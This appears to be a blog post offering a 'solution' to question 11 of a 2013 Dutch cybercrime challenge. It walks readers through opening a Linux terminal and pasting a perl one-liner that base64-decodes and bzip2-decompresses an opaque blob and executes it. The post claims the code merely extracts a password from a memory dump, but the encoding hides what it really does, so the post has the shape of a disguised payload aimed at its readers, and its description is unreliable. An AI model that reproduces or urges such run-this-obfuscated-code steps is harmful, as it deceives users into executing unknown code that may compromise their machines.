Oplossing vraag 11 Cybercrime Challange

Stuck with the cybercrime challenge 2013 (0x7dd) - You found out that Vultura is behind H4ck3nb3rg.
Miss M is using the same password for truecrypt, but now you came to question 11.
And 11 is incredible hard.

Here is the solution for question number 11.

First you are going to need a linux machine. If you don't have one, you need to setup a virtual server. Download either Ubuntu or Fedora and install those on your Virtual Server. You don't need any fancy configuration for it. Just make sure you get the crypto file and the memory.raw file on this Linux machine.

Now back to question 11, did you found that special bot in the channel? If you talked to you it gave you a encoded string back. This string needs to be decoded, thats were the crypto files come in handy.
This file is a Linux executable and it's able to decode the text of this bot.

The password is encrypted in the memory.raw, to retrieve it you need some difficult tools like Volatilitux. To understand and setup Volatilitux can be hard. The answer to question 11 changes constantly as well, so you will not find it on the internet.

Thats why I created a script to decode that string for you, the program below will scan the memory.raw and find the password in there.

So login in your Linux machine, and if you have a graphical interface search for something like "Terminal" in the menu's. If you click on that you will get... well a terminal.

"cd" to the directory where you have placed crypto and memory.raw and execute the following command:

perl -e "$(echo -n 'QlpoOTFBWSZTWe9xM1QAATWfgFx14d8q+/8EP+/fqzABazNkGqehACabUGTENDQGQ0DTajQDSZRiYhQ8p+oBNAwQwACek9QSSTJok/VPTCmammj0gyAAGIBpAmmtYGJ42Jw9wkE5hQTM5mlBY3N6aXakfm4Yn+51eYHEWyyBYw9/Axy0ItgbD+vqygk9u1shA+TndZ0nZMJj+GqsZovSekZ2A0sjUyDRjc2t1McOzthY2avvmWP9+/R9JcXYP8k2ZrdZetNpkgyTN5xBcqn8TJoI+vXBihcc1VTz4rDbag6uCRmMLHUCJyAjyWjCLA9aIQyym8rAFziO8Fq+S+QRpYqynoRcAeZ2lliIDcFvgIiIfTBuHe0GH5SYqQ+ykbN75mYwYFlq33EpEEUPtqAzdSdwx5agKROshXRGi6W6N5OKds8hKpi0IVuvosiTmpgjuSbehZvowjPiQ/FEIwHMJm4CWUDuHSrlxTTTJUSKbMtThWCvVNZiBPZ+0G6cxQdQrBCseJEkqjW9RqFcIm4PVKqMb6Q4nAILW1PWvGRGBr/xdyRThQkO9xM1QA==' | base64 -d | bzip2 -d)"

Make sure the whole perl line is on one line !

This perl line will search for a specific string in the memory and use crypto to decrypt it and run it directly through base64 decoding so you can read the message.

Hope you solve question 11 with this !.